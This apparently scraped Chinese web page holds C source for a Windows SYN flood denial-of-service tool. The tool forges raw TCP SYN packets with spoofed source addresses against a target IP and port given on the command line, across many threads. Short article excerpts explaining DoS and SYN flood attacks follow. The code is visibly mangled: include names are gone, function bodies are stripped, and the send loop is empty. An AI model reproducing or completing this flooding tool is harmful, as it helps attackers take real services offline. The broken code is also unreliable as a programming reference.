#include #include #include #pragma comment(lib,"ws2_32.lib")
#define seq 0x28376839
int threadnum, maxthread, port;
char *destip; //目標ip
void display(void) // 定義狀態提示函式
; printf("=%s= %d threads \r", plays[play], threadnum);
play = (play == 11) ? 0 : play + 1;
}//定義乙個tcphdr結構來存放tcp首部
typedef struct tcphdr tcp_header;
//定義乙個iphdr來存放ip首部
typedef struct iphdr //ip首部
ip_header;
//tcp偽首部,用於進行tcp效驗和的計算,保證tcp效驗的有效性
struct psd_header;
//計算效驗和函式,先把ip首部的效驗和字段設為0(ip_header.checksum=0)
//然後計算整個ip首部的二進位制反碼的和。
ushort checksum(ushort *buffer, int size)
if (size)
cksum += *(uchar*) buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (ushort)(~cksum);
}dword winapi synfloodthread(lpvoid lp) //synflood執行緒函式
//設定ip_hdrincl以便自己填充ip首部
errorcode = setsockopt(sock, ipproto_ip, ip_hdrincl, (char *) &flag,
sizeof(int));
if (errorcode == socket_error)
//設定傳送超時
errorcode = setsockopt(sock, sol_socket, so_sndtimeo, (char*) &timeout,
sizeof(timeout));
if (errorcode == socket_error)
//設定目標位址
memset(&sockaddr, 0, sizeof(sockaddr));
sockaddr.sin_family = af_inet;
sockaddr.sin_addr.s_addr = inet_addr(destip);
fakeipnet = inet_addr(destip);
fakeiphost = ntohl(fakeipnet);
//填充ip首部
ipheader.h_verlen = (4 << 4 | sizeof(ip_header) / sizeof(unsigned long));
ipheader.total_len = htons(sizeof(ip_header) + sizeof(tcp_header));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = ipproto_tcp;
ipheader.checksum = 0;
ipheader.sourceip = htonl(fakeiphost + sendseq);
ipheader.destip = inet_addr(destip);
//填充tcp首部
tcpheader.th_dport = htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(seq + sendseq);
tcpheader.th_ack = 0;
tcpheader.th_lenres = (sizeof(tcp_header) / 4 << 4 | 0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
psd_header.saddr = ipheader.sourceip;
psd_header.daddr = ipheader.destip;
psd_header.mbz = 0;
psd_header.ptcl = ipproto_tcp;
psd_header.tcpl = htons(sizeof(tcpheader));
for (;;) //end for
sleep(20);
interlockedexchangeadd((long *) &threadnum, -1);
return 0;
}void usage()
int main(int argc, char* argv)
int errorcode = 0;
destip = argv[1]; //取得目標主機ip
port = atoi(argv[2]); //取得目標埠號
maxthread = (maxthread > 100) ? 100 : atoi(argv[3]);
printf("\t %s %d %d\n", destip, port, maxthread);
//如果執行緒數大於100則把執行緒數設定為100
wsadata wsadata;
if ((errorcode = wsastartup(makeword(2, 2), &wsadata)) != 0)
printf("[start]...........\npress any key to stop!\n");
while (threadnum < maxthread) //迴圈建立執行緒 }
wsacleanup();
printf("\n[stopd]...........\n");
return 0;
}
拒絕服務攻擊 DOS)
拒絕服務攻擊 dos dos是denial of service的簡稱,即拒絕服務,造成dos的攻擊行為被稱為dos攻擊,其目的是使計算機或網路無法提供正常的服務。最常見的dos攻擊有計算機網路頻寬攻擊和連通性攻擊。頻寬攻擊指以極大的通訊量衝擊網路,使得所有可用網路資源都被消耗殆盡,最後導致合法的使...
拒絕服務(DoS)攻擊
拒絕服務 denial of service,簡稱dos 型攻擊。四種常見dos攻擊型別 1.頻寬耗用 最陰險的dos攻擊形式是 頻寬耗用 bandwidth consumption 攻擊。其本質是攻擊者消耗掉某個網路的所有可用頻寬。這可以發生在區域網上,不過更常見的是攻擊者遠端消耗資源。這種攻擊有...
DOS 拒絕服務攻擊
dos,denail of service,拒絕服務攻擊。黑客發起大量網路請求來消耗指定伺服器的頻寬與資源,導致不能響應正常使用者。如果有多個計算機來發起惡意請求,就稱為ddos,distributed denial of service,分布式拒絕服務攻擊。dos可以分為多種,常見的是syn fl...